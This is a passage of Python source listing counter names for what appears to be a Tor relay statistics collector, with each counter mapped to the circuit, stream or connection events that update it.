'Rend3MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# circuit failure reason count lists
'OriginFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EntryFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'MidFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EndFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'ExitFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'DirFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3FailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceActiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceInactiveFailureCircuitReasonCountList' : { CIRCUIT_EVENT },
# these counters depend on circuit end
# they are updated in _do_rotate,
# and use data updated in _handle_legacy_exit_circuit_event
'EntryClientIPCount' : { CIRCUIT_EVENT },
'EntryActiveClientIPCount' : { CIRCUIT_EVENT },
'EntryInactiveClientIPCount' : { CIRCUIT_EVENT },
'EntryClientIPActiveCircuitHistogram' : { CIRCUIT_EVENT },
'EntryClientIPInactiveCircuitHistogram' : { CIRCUIT_EVENT },
# these counters depend on stream end and circuit end
# they are updated in _handle_legacy_exit_circuit_event,
# and use data updated in _handle_stream_event
'ExitCircuitStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitWebCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitWebStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitWebInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitInteractiveCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitInteractiveStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitInteractiveInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitP2PCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitP2PStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitP2PInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitOtherPortCircuitCount' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitOtherPortStreamHistogram' : { STREAM_EVENT, CIRCUIT_EVENT },
'ExitCircuitOtherPortInterStreamCreationTime' : { STREAM_EVENT, CIRCUIT_EVENT },
# these counters depend on connection close
# simple connection counts
'EntryConnectionCount' : { CONNECTION_EVENT },
'NonEntryConnectionCount' : { CONNECTION_EVENT },
# connection counts based on the number of relays sharing the remote address
'EntryNoRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCount' : { CONNECTION_EVENT },
# byte counts
'EntryConnectionByteCount' : { CONNECTION_EVENT },
'NonEntryConnectionByteCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionByteCount' : { CONNECTION_EVENT },
'EntryConnectionInboundByteCount' : { CONNECTION_EVENT },
'NonEntryConnectionInboundByteCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
